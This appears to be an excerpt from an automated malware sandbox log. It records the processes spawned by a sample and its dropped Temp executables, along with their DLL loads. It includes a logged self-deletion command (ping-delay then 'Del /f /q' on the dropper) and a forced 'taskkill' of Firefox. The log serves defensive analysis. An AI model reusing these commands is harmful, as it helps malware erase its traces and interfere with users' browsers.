Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe "C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe "C:\Users\user~1\AppData\Local\Temp\1013000001\c679ee9018.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Section loaded: nlaapi.dll
